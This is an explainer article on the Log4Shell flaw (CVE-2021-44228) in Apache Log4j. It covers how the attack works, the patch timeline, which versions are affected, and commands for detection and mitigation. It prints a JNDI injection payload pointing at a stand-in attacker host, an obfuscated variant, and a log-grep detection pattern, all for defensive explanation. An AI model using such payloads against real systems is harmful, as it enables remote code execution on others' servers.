Log4Shell (CVE-2021-44228): the critical Apache Log4j vulnerability that has the Internet on alert
Rarely does a vulnerability put the entire Internet on alert at once. On December 9, a proof of concept for a flaw in Apache Log4j was published online, and within hours mass scanning and attacks began against servers around the world. The flaw, dubbed Log4Shell and registered as CVE-2021-44228, received the maximum severity score: CVSS 10.0. The director of the US Cybersecurity and Infrastructure Security Agency (CISA), Jen Easterly, went as far as saying it is one of the most serious vulnerabilities she has seen in her entire career, if not the most serious.
Log4Shell allows remote code execution with a single line of text. Illustration: The Joy Robot.
What is Log4j and why is it everywhere?
Almost every application records what it does in log files: who logged in, which errors occurred, which requests reached the server, and so on. In the Java world, one of the most popular libraries for that task is Log4j, an open-source project maintained by the Apache Software Foundation. The problem is that Log4j is practically everywhere: in enterprise web applications, cloud services, development tools, network equipment and even video games. In fact, one of the first places the attack was seen in action was on Minecraft: Java Edition servers, where simply typing a message in the game chat was enough to compromise the server. Moreover, Log4j is often not used directly but comes bundled inside other libraries or products, so many companies didn't even know they were using it.
How does the attack work?
Log4j has a feature called lookups, which lets you insert dynamic values into log messages. For example, ${java:version} is replaced with the Java version. One of those lookups is JNDI (Java Naming and Directory Interface), which can query external services such as an LDAP server. The problem is that Log4j also interpreted lookups that came inside the logged data, including those sent by any user. So if an attacker managed to get an application to log text like this:
|
| Terminal |
$ ${jndi:ldap://attacker.example/a} |
|
|
Log4j would connect to the attacker's LDAP server, receive a reference to a Java class hosted on an external server, download it and run it. In other words, the attacker could run any code they wanted on the server, without passwords or any prior access. And getting an application to log text is very easy: it's enough to put it in the username field of a login form, in the User-Agent header of an HTTP request or in a chat message.
The five steps of a Log4Shell attack. Diagram: The Joy Robot.
Three patches in nine days
The flaw was discovered by Chen Zhaojun of the Alibaba Cloud security team, who reported it to Apache on November 24. Since it went public, the Log4j developers have had to release three versions in record time:
- Log4j 2.15.0 (December 9): fixes CVE-2021-44228, the original vulnerability.
- Log4j 2.16.0 (December 13): shortly afterwards it was discovered that the previous fix was incomplete in certain configurations (CVE-2021-45046). This version disables JNDI by default and completely removes lookups in messages.
- Log4j 2.17.0 (December 18): fixes CVE-2021-45105, an infinite recursion bug that allows a denial of service that crashes the application.
Log4Shell timeline, from the initial report to version 2.17.0. Diagram: The Joy Robot.
Am I affected?
These are the key points to know whether a system is vulnerable:
- It affects Log4j 2, from version 2.0-beta9 to 2.14.1.
- Only the log4j-core file is vulnerable. Applications that use only log4j-api, without log4j-core, are not affected.
- Log4j 1.x is not vulnerable to CVE-2021-44228 except in specific configurations using JMSAppender, but it stopped being supported in 2015 and has other known vulnerabilities, so it isn't a safe option either.
- The Java version doesn't matter: updating Java does not fully protect against this attack.
To search for Log4j files on a GNU/Linux server, we can use the following command:
|
| Terminal |
$ sudo find / -name "log4j-core-*.jar" 2>/dev/null |
|
|
Keep in mind that many Java applications package their dependencies into a single file (so-called fat JARs), so Log4j can be "hidden" inside another .jar, .war or .ear file. To check whether a file contains the vulnerable class, we can list its contents:
|
| Terminal |
$ unzip -l application.jar | grep -i JndiLookup.class |
|
|
It's also useful to check the server logs for attack attempts. Bear in mind that attackers often obfuscate the text (for example, with ${${lower:j}ndi:...}), so finding nothing doesn't guarantee there were no attempts:
|
| Terminal |
$ sudo grep -r -i -E '\$\{(jndi|\$\{)' /var/log/ 2>/dev/null |
|
|
How to protect yourself
Apache's main recommendation is to upgrade to Log4j 2.17.0 (for Java 8 or later). If we use third-party software, we should check the vendor's security advisories and install updates as they are released. If upgrading right away isn't possible, a temporary measure is to remove the JndiLookup class from the log4j-core file, since it is what makes the attack possible:
|
| Terminal |
$ zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class |
|
|
Important: in the first few days, setting the log4j2.formatMsgNoLookups=true property was recommended as a mitigation. Apache no longer considers it sufficient, because it doesn't protect against CVE-2021-45046, so don't rely on it alone.
Our take
Log4Shell is a good reminder of how fragile the dependency chain of modern software can be. An open-source library, maintained by a small group of volunteers, ends up being a critical piece in systems run by companies, governments and services used by millions of people. And the most striking thing is that the flaw wasn't in some complex encryption system, but in something as everyday as writing a line to a log. If you run a Minecraft server at home, a Raspberry Pi with some Java service, or any application exposed to the Internet, it's worth checking them today. And if you develop software, it's a good time to know exactly which dependencies your projects include. Tools such as mvn dependency:tree or gradle dependencies can help you find Log4j even if you didn't add it directly.
|
|
|